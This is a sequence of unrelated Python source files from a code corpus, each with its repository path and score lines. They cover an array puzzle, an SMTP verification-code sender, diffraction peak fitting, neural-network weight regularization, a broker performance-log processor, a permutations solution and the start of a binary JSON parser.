#program to find the single element appears once in a list where every element # appears four times except for one. class Solution_once: def singleNumber(self, arr): ones, twos = 0, 0 for x in arr: ones, twos = (ones ^ x) & ~twos, (ones & x) | (twos & ~x) assert twos == 0 return ones class Solution_twice: def single_number(arr): ones, twos, threes = 0, 0, 0 for x in arr: ones, twos, threes = (~x & ones) | (x & ~ones & ~twos & ~threes), (~x & twos) | (x & ones), (~x & threes) | (x & twos) return twos if __name__ == "__main__": print(Solution_once().singleNumber([1, 1, 1, 2, 2, 2, 3])) print(Solution_once().singleNumber([5, 3, 0, 3, 5, 5, 3]))
3.65625
4
modules/checker_email.py
dark0ghost/async_py_bot
24
12764343
import asyncio from email.mime.text import MIMEText from random import random, choice from aiosmtplib import SMTP class CheckerEmail: """ class for check email use : from CheckerMailPy import CheckerEmail from email.mime.text import MIMEText async def async_start() -> None: checker_mail: CheckerEmail.CheckerEmail = CheckerEmail.CheckerEmail(hostname_mail=smtp_host, port=smtp_port, password=<PASSWORD>, login=smtp_login) check.change_len_code(new_len_code=5) check.get_random_code() code: int = check.get_code() await check.async_send_message() # or sync code check.sync_send_message() """ def __init__(self, hostname_mail: str, port: int, login: str, password: str, loop=None) -> None: """ :param hostname_mail: :param port: :param login: :param password: """ if loop is None: loop = asyncio.get_event_loop() self.host_name: str = hostname_mail self.port: int = port self.message: MIMEText self.len_code: int = 1 self.client = SMTP(password=password, username=login, loop=loop) def change_len_code(self, new_len_code) -> None: """ :param new_len_code: :return: """ self.len_code = new_len_code def get_random_code(self) -> int: """ :return: """ code = "" alphacode = list(str(random()).replace(".", "")) for i in range(self.len_code): code += str(choice(alphacode)) return code def build_message(self, text, from_mail, to, subject) -> None: """ :param text: :param from_mail: :param to: :param subject: :return: """ self.message = MIMEText(text) self.message["From"] = from_mail self.message["To"] = to self.message["Subject"] = subject async def async_send_message(self, start_tls: bool = False, use_tls: bool = False) -> None: """ async out :return: """ await self.client.connect(hostname=self.host_name, port=self.port, use_tls=use_tls, start_tls=start_tls) async with self.client: await self.client.send_message(self.message) print(200) def sync_send_message(self, start_tls: bool = False, use_tls: bool = False) -> None: """ for sync code """ loop = asyncio.get_event_loop() loop.run_until_complete(self.async_send_message(start_tls=start_tls, use_tls=use_tls))
2.703125
3
doc/sphinxext/numpydoc/__init__.py
vimalromeo/pandas
303
12764344
from __future__ import division, absolute_import, print_function from .numpydoc import setup
0.972656
1
x.py
merny93/tornado
0
12764345
<filename>x.py import spinmob as s import numpy as np import matplotlib.pyplot as plt from scipy.optimize import curve_fit from scipy.special import voigt_profile import spify import os #load pure copper data! #the new fitting fit needs to work with different h,k,l # Make a wrapper that will generate fitting functions with different h,k,l def shape_func(lmda_sqd_times_combined_hkl, a, theta_0): return np.rad2deg(np.arcsin(np.sqrt(lmda_sqd_times_combined_hkl/ (4* a**2)) )) * 2 + 2*theta_0 # Same but for tin # x is [h,k,l,lambda] def tin_func(x, a, c, theta_0): return np.rad2deg(np.arcsin(np.sqrt(1/4*((x[0]**2+x[1]**2)/a**2 + x[2]**2/c**2)*x[3]**2))) * 2 + 2*theta_0 def tin_func_2(x, theta_0): return np.rad2deg(np.arcsin(np.sqrt(x))) * 2 + 2*theta_0 #GAUSSIAN FIRST TRY def fit_func(x, *argvs): #start with gaussian #args is x then [mean, sigma, a, c] return argvs[2] * np.exp(-((x-argvs[0])/argvs[1])**2) + argvs[3] ##DOUGBLE PEAK MIT FIT def double_fit(x, *argvs): #now what if we tried something spicy ;) #double # args is x then [mean1, sigma1, a1, gamma1, mean2, sigma2, a2, gamma2, *poly] return sum([argvs[2+i]* voigt_profile(x - argvs[0+i], argvs[1+i], argvs[3+i], out=None) for i in [0]]) + np.polyval(argvs[4:], x) #that line sums over the two voigt profiles and then adds a polynomial as discribed by mit def line(x, a,b): return a*x+b def fitter(filename, windows, path_, hkls, p0_fitter): d = s.data.load(os.path.join(path_,"{}.UXD".format(filename))) data = {"angle": d[0], "count": d[1]} #plot the data for some good vibes and easy checks plt.plot(data["angle"], data["count"]) plt.show() ##DEBUGING OF FITTING FUNCTION ''' x = np.linspace(-2,2) y = double_fit(x, *[-1, 0.5, 250, 0.7,1, 0.5, 0, 0.7, 0,0,0]) plt.plot(x,y) plt.show() ''' #these windows are where the peaks are in angle units (NOT ARRAY INDEX) # factor shifts the window to the right because of alloys ##loop through the windows and try to fit: theta_fit= [] peaks_data = {} for i,window in enumerate(windows): #window is in angle so lets get it in index pos = np.argwhere(np.logical_and(data["angle"]>window[0], data["angle"]<window[1])) x = np.array(data["angle"][pos]).flatten() y = np.array(data["count"][pos]).flatten() #noise as sqrt of count but dont let it get too small noise = np.sqrt(y) noise[noise < 2] = 2 #optimize*************** #first get a easy run-through using the gaussian popt,pcov = curve_fit(fit_func, x,y, p0=[sum(window)/2,1, 250, 0.7], sigma=noise, absolute_sigma=True) ##PLOT THE FIRST FIT WITH RESIDUALS ''' fig = plt.figure() gs = fig.add_gridspec(2, hspace = 0, height_ratios = [3,1]) axs = gs.subplots(sharex= True) axs[0].scatter(x,y) axs[0].plot(x,fit_func(x,*popt)) axs[1].scatter(x, y- fit_func(x, *popt)) plt.show() ''' #this gives a really good first guess for the next step p0 = [popt[0], 0.5 *popt[1], 2*popt[2], 0.1, 0,0] ##IF U WANT TO PLOT THE FIRST GEUSS # plt.scatter(x,y) # plt.plot(x,double_fit(x,*p0)) # plt.show() ##WAS BEING USED BEFORE TO IMPROVE FIT ''' bounds = ([0, 0,0,0, popt[0],0,0,0, 0,0,0,0, -np.inf, -np.inf], [popt[0], np.inf,np.inf,np.inf, np.inf,np.inf,np.inf,np.inf, popt[0], np.inf,np.inf,np.inf, np.inf,np.inf]) ''' popt, pcov = curve_fit(double_fit, x,y, p0=p0, sigma=noise, absolute_sigma=True, maxfev=1000000) #, bounds=bounds) # print(popt) #now get a prediction for residual calculations! y_pred = double_fit(x,*popt) #compute chisqd chi_sqd = np.sum(((y-y_pred)/noise)**2)/x.size #output # print("chisqd is about,", chi_sqd) # print("position is,", popt[0], "+/-", np.sqrt(np.diag(pcov))[0] ) #save to the results #order is critical here! theta_fit.append((popt[0], np.sqrt(np.diag(pcov))[0])) #get spify spify.residual_plot(x,y,noise, double_fit, popt, r"$2\theta \ (^\circ)$","Counts","Residuals", filename+"_"+str(i+1)+"_voigt") peaks_data['peak_{}'.format(i)] = {} peaks_data['peak_{}'.format(i)]['popt'] = popt[0] peaks_data['peak_{}'.format(i)]['unc'] = np.sqrt(np.diag(pcov))[0] peaks_data['peak_{}'.format(i)]['chi'] = chi_sqd ##we fit for theta_fit ## its an list with 2 lists in it. Each of the inner lists constains tupples giving the peak position and lmdas = sorted([0.1540562e-9]) ##Create the x_s by combining all the hkls and lambdas from itertools import product x_s = np.array(list(map(lambda x: x[0] * x[1]**2, product(hkls, lmdas)))) #collaps the data y_s = np.array([points[0] for points in theta_fit]) n_s = np.array([points[1] for points in theta_fit]) #fit for the parameter a popt,pcov = curve_fit(shape_func,x_s, y_s, p0= p0_fitter, sigma=n_s) chi_sqd = np.sum((y_s - shape_func(x_s, *popt))**2/n_s**2)/len(y_s-2) x_high = np.linspace(x_s[0], x_s[-1], num=250) y_high = shape_func(x_high, *popt) y_pred = shape_func(x_s, *popt) spify.residual_plot(x_s, y_s, n_s,shape_func, popt, r"$\lambda^2(h^2+k^2+l^2) \ (10^{-19} \ \mathrm{m}^2)$", r"$2\theta \ (^{\circ} )$", "Residuals", filename + "_lattice", renorm=True) peaks_data['line_popt'] = popt peaks_data['line_unc'] = np.sqrt(np.diag(pcov)) peaks_data['line_chi'] = chi_sqd return peaks_data def full_anal(path_, bins, hkls, print_=False, line_plot=False, p0_fitter = [3.5e-10, 0]): filenames = os.listdir(path_) filenames = list(map(lambda x: x.split(".")[0], filenames)) # filenames = ["Cu_03_09_20", "Cu75Ni25","Cu50Ni50","Cu25Ni75", "Ni_03_09_20"] total_data = {} for i in range(len(filenames)): total_data['{}'.format(filenames[i])] = (fitter(filenames[i], bins[i], path_,hkls, p0_fitter)) # print(total_data) if print_: try: import pprint pp = pprint.PrettyPrinter(indent=4) pp.pprint(total_data) except: print(total_data) if line_plot: y_data = [[],[]] for name in filenames: y_data[0].append(total_data[name]["line_popt"][0]) y_data[1].append(total_data[name]["line_unc"][0]) y_data[0] = np.array(y_data[0], dtype = float) y_data[1] = np.array(y_data[1], dtype = float) # plot_litterature = [[0,100], # [361.49e-12, 352.4e-12], # ['Litterature']] # spify.lattice_alloy_plot(plot_data, plot_litterature, 'Cu-Ni') x = np.array([0,75,50,25, 100] ,dtype = float) popt,pcov = curve_fit(line,x,y_data[0], p0= [1,1], sigma=y_data[1]) chi_sqd = np.sum((y_data[0] -line(np.array(x), *popt))**2/y_data[1]**2)/len(y_data[0]-2) spify.residual_plot(x, y_data[0], y_data[1], line, popt,"Nickel Concentration", "Lattice Parameter","Residuals", path_[-15:] + "_vegard", legend_loc = "upper right") if __name__ == '__main__': copper_bins = [[[41.5,45.5],[48,53],[72,77],[88,93], [93,98]], [[41.5,49],[48,56],[72,80],[88,95], [95,101]], [[41.5,48],[48,56],[72,80],[88,95], [94,100]], [[41.5,47],[48,56],[72,80],[87,94], [95,99]], [[41.5,50],[48,56],[72,80],[90,96], [97,101]]] copper_nickel_hkls = [3,4,8,11,12] # full_anal('X-Ray/data/copper_nickel_series', copper_bins, copper_nickel_hkls, print_=True) lead_bins = [[[30,35],[36,38],[50,56],[60,65],[63,67],[74,82],[82,87],[87,90],[96,103],[104,112]]] lead_hkls = [3,4,8,11,12,16,19,20,24,27] full_anal('X-Ray/data/pb', lead_bins, lead_hkls , print_=True, p0_fitter = [1e-9, 0])
2.265625
2
contrib/ruamel/__init__.py
reuterbal/ecbundle
0
12764346
__all__ = ["yaml"]
1.070313
1
MMA.py
wznpub/MMA_Regularization
8
12764347
import torch import torch.nn.functional as F import mxnet as mx def get_mma_loss(weight): ''' MMA regularization in PyTorch :param weight: parameter of a layer in model, out_features * in_features :return: mma loss ''' # for convolutional layers, flatten if weight.dim() > 2: weight = weight.view(weight.size(0), -1) # computing cosine similarity: dot product of normalized weight vectors weight_ = F.normalize(weight, p=2, dim=1) cosine = torch.matmul(weight_, weight_.t()) # make sure that the diagnonal elements cannot be selected cosine = cosine - 2. * torch.diag(torch.diag(cosine)) # maxmize the minimum angle loss = -torch.acos(cosine.max(dim=1)[0].clamp(-0.99999, 0.99999)).mean() return loss def get_angular_loss_mxsymbol(weight): ''' MMA regularization in Symbol of MXNet :param weight: parameter of a layer in model, out_features * in_features :return: mma loss ''' # for convolutional layers, flatten if 'conv' in weight.name: num_filter = int(weight.attr('num_filter')) weight = weight.reshape((num_filter, -1)) else: num_filter = int(weight.attr('num_hidden')) # computing cosine similarity: dot product of normalized weight vectors, and make sure that the diagnonal elements cannot be selected weight_ = mx.symbol.L2Normalization(weight, mode='instance') cosine = mx.symbol.linalg.syrk(weight_, alpha=1., transpose=False) - 2. * mx.symbol.eye(num_filter) # maxmize the minimum angle theta = mx.symbol.arccos(mx.symbol.max(cosine, axis=1)) loss = -mx.symbol.mean(theta) return loss
2.859375
3
modules/andes-core/perftests/bin/processing/processTests.py
bhathiya/andes
3
12764348
#!/usr/bin/env python # # # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License. import os import re import datetime import sys import string from optparse import OptionParser from datetime import datetime, timedelta import shutil def showUsage(): log("./processTests.py [-b|--broker-log-dir] <dir> [-t|--test-dir] <dir>") ACCESS="Access" MODIFY="Modify" BROKER_LOG="broker.log" BROKER_PID="broker.pid" BROKER_CPU="broker_cpu.log" BROKER_CPU_DATED="broker_cpu.log.dated" BROKER_STATS="broker.stats" BROKER_GC="gc.log" GRAPH_DATA="graph.data" _verbose = False _debug = False _brokerLogs = "" def exitError(message): log(message) sys.exit(1) def main(): global _log, _verbose, _debug, _brokerLogs # Load the parser = OptionParser() parser.add_option("-v", "--verbose", dest="verbose", action="store_true", default=False, help="enable verbose output") parser.add_option("-d", "--debug", dest="debug", action="store_true", default=False, help="enable debug output") parser.add_option("-b", "--broker-log-dir", dest="brokerLogs", action="store", default=True, help="Broker Logs") parser.add_option("-t", "--test-dir", dest="testDir", action="store", default="", help="Test Results") (options, args) = parser.parse_args() _verbose = options.verbose _debug = options.debug testDir = options.testDir _brokerLogs = options.brokerLogs if testDir == "" or _brokerLogs == "" : log("Broker Log Dir and Test Dir are both requried.") showUsage() if not os.path.exists(testDir): exitError("Test directory does not exist:" + testDir) if not os.path.exists(_brokerLogs): exitError("Broker log directory does not exist:" + _brokerLogs) # Standardize the format of the broker logs preProcessBrokerLogs(_brokerLogs) # Get list of test results from test_dir processTestResults(testDir) # # Process the log files we know of # def preProcessBrokerLogs(resultDir): print "Pre Processing Broker Logs" # Pre-Process GC - no pre processing required # Process Log4j - no processing required as file is already time stamped. # Pre-Process broker_cpu processCPUUsage(resultDir) # # Process the broker CPU log file and create an output file of format # <Date Time> <CPU Usage> # # def processCPUUsage(resultDir): logfile=resultDir+os.sep+BROKER_CPU datedFile=resultDir+os.sep+BROKER_CPU_DATED start = extractTime(ACCESS, logfile+".stat") pid = getPID(BROKER_PID) topRate = getFirstLine(_brokerLogs+os.sep+"top.rate") # # Calulate addition required per process line output # if topRate.find(".") == -1: seconds = topRate millis = 0 else: split = topRate.split('.') seconds = split[0] # Convert millis = float("0."+split[1]) * 1000 offset = timedelta(seconds=int(seconds),milliseconds=int(millis)) # # Process the CPU log file and make a file of format: # datetime <CPU% usage> <MEM% usage> # # Open log CPU file for reading logfile = open(logfile, "r") # Open the output file, erasing any existing version # Keep track of the min/max sum and entries,. minCPU=float(sys.maxint) maxCPU=0.0 minMem=float(sys.maxint) maxMem=0.0 entries=0 sumCPU=0.0 sumMem=0.0 output= open(datedFile, "w") for line in logfile: # # Data format # 0 1 2 3 4 5 6 7 8 9 10 11 # PID USER PR NI %CPU TIME+ %MEM VIRT RES SHR S COMMAND # PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND # # %CPU and %MEM are vary, probably based on os/version of top. # lets auto-detect where it is. # # Index is 0 based for array usage. index = 0 if line.find("PID") != -1: for key in line.split(" "): strippedKey = key.lstrip() if len(strippedKey) > 0: # Record the key index if (strippedKey == "%CPU"): cpuIndex=index if (strippedKey == "%MEM"): memIndex=index # Increase count for next key index = index + 1 # Find lines that contain our broker process if line.find("QPBRKR") != -1: # Split line on whitespace data = line.split() #Write out the date time (ISO-8601 format) output.write(str(start)) # Output the %CPU value output.write(" "+str(data[cpuIndex])) # Output the %MEM value output.write(" "+str(data[memIndex])) output.write('\n') # Add the offset based on the logging rate start = start + offset # Record entires entries = entries + 1 # Record Metrics # Record CPU data cpu = float(data[cpuIndex]) if (cpu < minCPU): minCPU = cpu if (cpu > maxCPU): maxCPU = cpu sumCPU = sumCPU + cpu # Record Mem data mem = float(data[memIndex]) if (mem < minMem): minMem = mem if (mem > maxMem): maxMem = mem sumMem = sumMem + mem #end for # Close the files logfile.close output.close # Output stats file statFile=resultDir+os.sep+BROKER_CPU+".stats" output= open(statFile, "w") output.write("#type:min/max/avg") output.write('\n') output.write("CPU:"+str(minCPU)+"/"+str(maxCPU)+"/"+str(float(sumCPU)/float(entries))) output.write('\n') output.write("MEM:"+str(minMem)+"/"+str(maxMem)+"/"+str(float(sumMem)/float(entries))) output.write('\n') output.close log("Pre Process of CPU Log file '"+BROKER_CPU+"' complete") # # Give an known process type get the recorded PID. # def getPID(process): return getFirstLine(_brokerLogs+os.sep+process) # # Get the first line of the file without EOL chars. # NOTE: this will load the entire file into memory to do it. # def getFirstLine(fileName): f = open(fileName,"r") line = f.read().splitlines()[0] f.close return line # # Walk the directory given and process all csv test results # def processTestResults(resultDir): for root, dirs, files in os.walk(resultDir, topdown=False): if len(files) == 0: exitError("Test result directory is empty:" + resultDir) for file in files: if file.endswith(".csv"): processTestResult(root , file) def processTestResult(root, resultFile): # Open stat file and extract test times, we determine: # -start time based on the 'Access' value # -end time based on the 'Modify' value 'Change' would also work statFile=root+os.sep+resultFile+".stat" if not os.path.exists(statFile): log("Unable to process : Unable to open stat file:" + statFile) return createResultSetPackage(root, resultFile) def extractTime(field, statFile): stats = open(statFile, "r") for line in stats: if line.startswith(field): if line.find("(") == -1: dt = lineToDate(" ".join(line.split()[1:])) # # TODO We need to handle time time zone issues as I'm sure we will have issues with the # log4j matching. stats.close return dt # # Given a text line in ISO format convert it to a date object # def lineToDate(line): #2009-06-22 17:04:44,320 #2009-06-22 17:04:44.320 pattern = re.compile(r'(?P<year>^[0-9][0-9][0-9][0-9])-(?P<month>[0-9][0-9])-(?P<day>[0-9][0-9]) (?P<hour>[0-9][0-9]):(?P<minute>[0-9][0-9]):(?P<seconds>[0-9][0-9])') m = pattern.match(line) if m: year = int(m.group('year')) month = int(m.group('month')) day = int(m.group('day')) hour = int(m.group('hour')) minute = int(m.group('minute')) seconds = int(m.group('seconds')) pattern = re.compile(r'(?P<year>^[0-9][0-9][0-9][0-9])-(?P<month>[0-9][0-9])-(?P<day>[0-9][0-9]) (?P<hour>[0-9][0-9]):(?P<minute>[0-9][0-9]):(?P<seconds>[0-9][0-9])[.|,](?P<micro>[0-9]+)') m = pattern.match(line) micro = None if m: micro = m.group('micro') if micro == None: micro = 0 # Correct issue where micros are actually nanos if int(micro) > 999999: micro = int(micro) / 1000 return datetime(year,month,day,hour,minute,seconds,int(micro)) else: # Error we shouldn't get here return null def createResultSetPackage(root, resultFile): # Get the Name of the test to make a directory with said name testName = resultFile.split(".csv")[0] resultDir = root+ os.sep + testName log("Processing Result set for:"+ testName) mkdir(resultDir) # Move result file to new directory shutil.move(root + os.sep + resultFile, resultDir) # Move stat file to new directory shutil.move(root + os.sep + resultFile + ".stat", resultDir) statFile=resultDir + os.sep + resultFile + ".stat" # # Get start and end time for test run # start = extractTime(ACCESS, statFile) end = extractTime(MODIFY, statFile) sliceBrokerLogs(resultDir, start, end) createGraphData(resultDir, testName) createTestStatData(resultDir, testName) log("Created Result Package for:"+ testName) def sliceBrokerLogs(resultDir, start, end): sliceCPULog(resultDir, start, end) sliceLog4j(resultDir, start, end) sliceGCLog(resultDir, start, end) def sliceCPULog(resultDir, start, end): global _brokerLogs logfilePath=_brokerLogs+os.sep+BROKER_CPU_DATED cpuSliceFile=resultDir+os.sep+BROKER_CPU # Process the CPU log file and make a file of format: # datetime <CPU% usage> <MEM% usage> # # Open log CPU file for reading logFile = open(logfilePath, "r") # Open the output file, erasing any existing version # Keep track of the min/max sum and entries,. minCPU=float(sys.maxint) maxCPU=0.0 minMem=float(sys.maxint) maxMem=0.0 entries=0 sumCPU=0.0 sumMem=0.0 # # Create outputfile # cpuslice = open(cpuSliceFile,"w") for line in logFile: data = line.split() # # //fixme remove tz addition. # lineTime = lineToDate(" ".join(data[0:2])+" +0000") if lineTime > start: if lineTime < end: # Write the data though to the new file cpuslice.writelines(line) # Perform stat processing for the min/max/avg data = line.split() # # Data format is # <Date> <Time> <%CPU> <%MEM> # 2010-02-19 10:16:17 157 28.1 # cpuIndex = 2 memIndex = 3 # Record entires entries = entries + 1 # Record Metrics # Record CPU data cpu = float(data[cpuIndex]) if (cpu < minCPU): minCPU = cpu if (cpu > maxCPU): maxCPU = cpu sumCPU = sumCPU + cpu # Record Mem data mem = float(data[memIndex]) if (mem < minMem): minMem = mem if (mem > maxMem): maxMem = mem sumMem = sumMem + mem logFile.close() cpuslice.close() log("Sliced CPU log") # Output stats file statFile=cpuSliceFile+".stats" output= open(statFile, "w") output.write("#type:min/max/avg") output.write('\n') output.write("CPU:"+str(minCPU)+"/"+str(maxCPU)+"/"+str(float(sumCPU)/float(entries))) output.write('\n') output.write("MEM:"+str(minMem)+"/"+str(maxMem)+"/"+str(float(sumMem)/float(entries))) output.write('\n') output.close log("Generated stat data from CPU Log file") def sliceGCLog(resultDir, start, end): global _brokerLogs logfilePath=_brokerLogs+os.sep+BROKER_GC sliceFile=resultDir+os.sep+BROKER_GC gcstart = extractTime(ACCESS, logfilePath+".stat") # Open the output file, erasing any existing version # Keep track of the min/max sum and entries,. minGCDuration=float(sys.maxint) maxGCDuration=0.0 sumGCDuration=0.0 entriesGCDuration = 0 # Open log GC file for reading logFile = open(logfilePath, "r") # Open the output file, erasing any existing version output= open(sliceFile, "w") # Use a regular expression to pull out the Seconds.Millis values from the # Start of the gc log line. pattern = re.compile(r'(?P<seconds>^[0-9]+)\.(?P<millis>[0-9]+):') for line in logFile: m = pattern.match(line) if m: seconds = m.group('seconds'); millis = m.group('millis'); offset = timedelta(seconds=int(seconds),milliseconds=int(millis)) lineTime = gcstart + offset if lineTime > start: if lineTime < end: output.writelines(line) # Perform stat processing for the min/max/avg # Process GC Duration lines in ParNew gc , # ensure we do not have CMS printed as that means the line line has been corrupted if line.find("ParNew") != -1 & line.find("CMS") == -1: # # Example data line # 7.646: [GC 7.646: [ParNew: 14778K->461K(14784K), 0.0026610 secs] 49879K->36609K(73288K), 0.0027560 secs] [Times: user=0.01 sys=0.00, real=0.01 secs] # # So entry 5 is the ParNew time and 8 is the whole GC cycle. 14 entries total data = line.split() gcTime = 0 # Check we have a valid ParNew Line if (len(data) == 15): # Record entires # Record GC Duration data entriesGCDuration = entriesGCDuration + 1 gcTime = float(data[8]) if (gcTime < minGCDuration): minGCDuration = gcTime if (gcTime > maxGCDuration): maxGCDuration = gcTime sumGCDuration = sumGCDuration + gcTime # Close the files logFile.close output.close() log("Sliced gc log") # Output stats file statFile=sliceFile+".stats" output= open(statFile, "w") output.write("#type:min/max/avg") output.write('\n') # # Only provide GCDuration if it was processed # output.write("GC_DUR:%.14f/%.14f/%.14f" % (minGCDuration, maxGCDuration , (sumGCDuration/float(entriesGCDuration)))) output.write('\n') output.close log("Generated stat data from CPU Log file") def sliceLog4j(resultDir, start, end): global _brokerLogs logfilePath=_brokerLogs+os.sep+BROKER_LOG log4jSliceFile=resultDir+os.sep+BROKER_LOG log4jstart = extractTime(ACCESS, logfilePath+".stat") # # Say that first line is the start of the file, # This value will give a time value to the initial # logging before Log4j kicks in. # lineTime = log4jstart # Process the broker log4j file # Open log CPU file for reading logFile = open(logfilePath, "r") # # Create outputfile # log4jslice = open(log4jSliceFile,"w") for line in logFile: data = line.split() # # If the line has a time at the start then process it # otherwise use the previous time. This means if there is # a stack trace in the middle of the log file then it will # be copied over to the split file as long as it is in the # split time. # if (hasTime(data)): # # //fixme remove tz addition. # lineTime = lineToDate(" ".join(data[0:2])+" +0000") if lineTime > start: if lineTime < end: print line log4jslice.writelines(line) logFile.close() log4jslice.close() log("Sliced broker log") # # Check the first two entries of data can make a datetime object # def hasTime(data): date = data[0] time = data[1] # Examples: # 2009-06-22 17:04:44,246 # 2009-06-22 17:04:44.2464 # 2009-06-22 17:04:44 # ISO-8601 '-' format date dateRE = re.compile('[0-9][0-9][0-9][0-9]-[0-9][0-9]-[0-9][0-9]') # # Check for times with/out millis # e.g. # 10:00:00,000 - log4j # 10:00:00.0000 - generated in script for cpu time # timeRE = re.compile('[0-9][0-9]:[0-9][0-9]:[0-9][0-9]?[0-9]*') return dateRE.match(date) and timeRE.match(time) def createGraphData(resultDir, testName): # Create graph.data file for process.sh # Format two lines : Title and filename # $version $type : $volume% volume # $version-$brokerState-$type-$volume version=getBrokerVersion() test= extractTestValue("n",resultDir, testName) volume = int(float(extractTestResult("Test * Size Throughput", resultDir, testName)) * 1000) messageSize = extractTestValue("messageSize",resultDir, testName) ackMode = ackModeToString(extractTestValue("consAckMode",resultDir, testName)) graphDataFile=resultDir+os.sep+GRAPH_DATA graphData = open(graphDataFile, "w") # # Write Title graphData.write(version+":"+test+":"+str(messageSize)+"kb x "+str(volume)+" msg/sec using "+ackMode) graphData.write('\n') # # Write FileName graphData.writelines(version+"-"+testName) graphData.write('\n') graphData.close log("Created graph.data") def getBrokerVersion(): global _brokerLogs READY = "Qpid Broker Ready" brokerLogFile = _brokerLogs + os.sep + BROKER_LOG log = open(brokerLogFile, "r") dataLine = "" for line in log: if line.find(READY) != -1: dataLine = line break # Log Entry #2009-06-19 17:04:02,493 INFO [main] server.Main (Main.java:456) - Qpid Broker Ready :172.16.17.32 build: 727403M # Split on READY data = dataLine.split(READY) # So [1] should be # :2.3.0.1 build: 727403M readyEntries = data[1].split() # so spliting on white space should give us ':version' # and a quick split on ':' will give us the version version = readyEntries[0].split(':')[1] # Strip to ensure we have no whitespace return version.strip() def extractTestValue(property,resultDir,testName): return extractTestData(property,resultDir,testName," =") def extractTestResult(property,resultDir,testName): return extractTestData(property,resultDir,testName,":") def extractTestData(property,resultDir,testName,type): resultFile = resultDir + os.sep + testName+".csv" results = open(resultFile, "r") dataLine = "" for line in results: if line.find("Total Tests:") == 0: dataLine = line results.close() # Data is CSV data = dataLine.split(',') found = False result = "" searchProperty = property+type for entry in data: if found: result = entry break if entry.strip() == searchProperty: found=True return result.strip() def createTestStatData(resultDir, testName): csvFilePath=resultDir + os.sep + testName + ".csv" # Open the output file, erasing any existing version # Keep track of the min/max sum and entries,. minLatency=float(sys.maxint) maxLatency=0.0 minThroughput=float(sys.maxint) maxThroughput=0.0 entries=0 sumLatency=0.0 sumThroughput=0.0 # # Open csv File # csvFile = open(csvFilePath,"r") for line in csvFile: # The PingAsyncTestPerf test class outputs the latency and throughput data. if line.find("PingAsyncTestPerf") != -1: # # Data format is # <Test> <TestName> <Thread> <Status> <Time> <Latency> <Concurrency> <Thread> <TestSize> #org.wso2.andes.client.ping.PingAsyncTestPerf, testAsyncPingOk, Dispatcher-Channel-1, Pass, 209.074, 219.706, 0, 1, 10 LatencyIndex = 5 ThroughputIndex = 4 # The PingLatencyTestPerf test class just outputs the latency data. if line.find("PingLatencyTestPerf") != -1: # # Data format is # <Test> <TestName> <Thread> <Status> <Time> <Latency> <Concurrency> <Thread> <TestSize> # org.wso2.andes.client.ping.PingLatencyTestPerf, testPingLatency, Dispatcher-Channel-1, Pass, 397.05502, 0, 2, 1000 LatencyIndex = 4 ThroughputIndex = -1 # Only process the test lines that have 'org.wso2.andes.client.ping', i.e. skip header and footer. if line.find("org.wso2.andes.client.ping") != -1: # Perform stat processing for the min/max/avg data = line.split(",") # Record entires entries = entries + 1 # Record Metrics # Record Latency data latency = float(data[LatencyIndex]) if (latency < minLatency): minLatency = latency if (latency > maxLatency): maxLatency = latency sumLatency = sumLatency + latency if (ThroughputIndex != -1): # Record Latency data throughput = float(data[ThroughputIndex]) if (throughput < minThroughput): minThroughput = throughput if (throughput > maxThroughput): maxThroughput = throughput sumThroughput = sumThroughput + throughput csvFile.close() # Output stats file statFile=resultDir + os.sep + testName+".stats" output= open(statFile, "w") output.write("#type:min/max/avg") output.write('\n') output.write("LATENCY:"+str(minLatency)+"/"+str(maxLatency)+"/"+str(float(sumLatency)/float(entries))) output.write('\n') if (ThroughputIndex != -1): # Output msgs/sec based on time for a batch of msgs output.write("THROUGHPUT:"+str(float(1000)/maxThroughput)+"/"+str(float(1000)/minThroughput)+"/"+str(float(1000)/(float(sumThroughput)/float(entries)))) output.write('\n') output.close log("Generated stat data from test "+testName+" CSV file") def ackModeToString(ackMode): if ackMode == '0': return "Transacted" elif ackMode == '1': return "AutoAck" elif ackMode == '2': return "ClientAck" elif ackMode == '3': return "DupsOK" elif ackMode == '257': return "NoAck" elif ackMode == '258': return "PreAck" else: return str(ackMode) def debug(msg): global _debug if _debug: log(msg) def log(msg): print msg def mkdir(dir): if not os.path.exists(dir): os.mkdir(dir) if __name__ == "__main__": main()
1.9375
2
python/047 Permutations II.py
allandproust/leetcode-share
156
12764349
<filename>python/047 Permutations II.py ''' Given a collection of numbers that might contain duplicates, return all possible unique permutations. For example, [1,1,2] have the following unique permutations: [1,1,2], [1,2,1], and [2,1,1]. ''' class Solution(object): def permuteUnique(self, nums): """ :type nums: List[int] :rtype: List[List[int]] """ result = [] nums.sort() self.get_permute([], nums, result) return result def get_permute(self, current, num, result): if not num: result.append(current + []) return for i, v in enumerate(num): if i - 1 >= 0 and num[i] == num[i - 1]: continue current.append(num[i]) self.get_permute(current, num[:i] + num[i + 1:], result) current.pop() if __name__ == "__main__": assert Solution().permuteUnique([1, 2, 1]) == [[1, 1, 2], [1, 2, 1], [2, 1, 1]]
3.984375
4
copper/shout/parsers/ifd/binary_json.py
cinepost/Copperfield_FX
6
12764350
<reponame>cinepost/Copperfield_FX<filename>copper/shout/parsers/ifd/binary_json.py # This document is licensed under CC-3.0 Attribution-Share Alike 3.0 # http://creativecommons.org/licenses/by-sa/3.0/ # Attribution: There is no requirement to attribute the author. ''' A Python JSON parser (http://www.json.org) This is a pure Python implementation of a JSON parser (http://www.json.org) It supports the Houdini (http://www.sidefx.com) extensions for a binary JSON format. This is intended as a reference implementation for Houdini's binary JSON extension. It is not very efficient. Please use the hjson module for efficient parsing/writing. HDK classes: UT_JSONParser UT_JSONWriter HOM Module: hjson ''' from __future__ import print_function import struct from . import fpreal16 import re ''' Parsing states ''' _STATE_START = 0 _STATE_COMPLETE = 1 _STATE_MAP_START = 2 _STATE_MAP_SEP = 3 _STATE_MAP_NEED_VALUE = 4 _STATE_MAP_GOT_VALUE = 5 _STATE_MAP_NEED_KEY = 6 _STATE_ARRAY_START = 7 _STATE_ARRAY_NEED_VALUE = 8 _STATE_ARRAY_GOT_VALUE = 9 ''' JSON identifiers used in binary encoding and parsing ''' 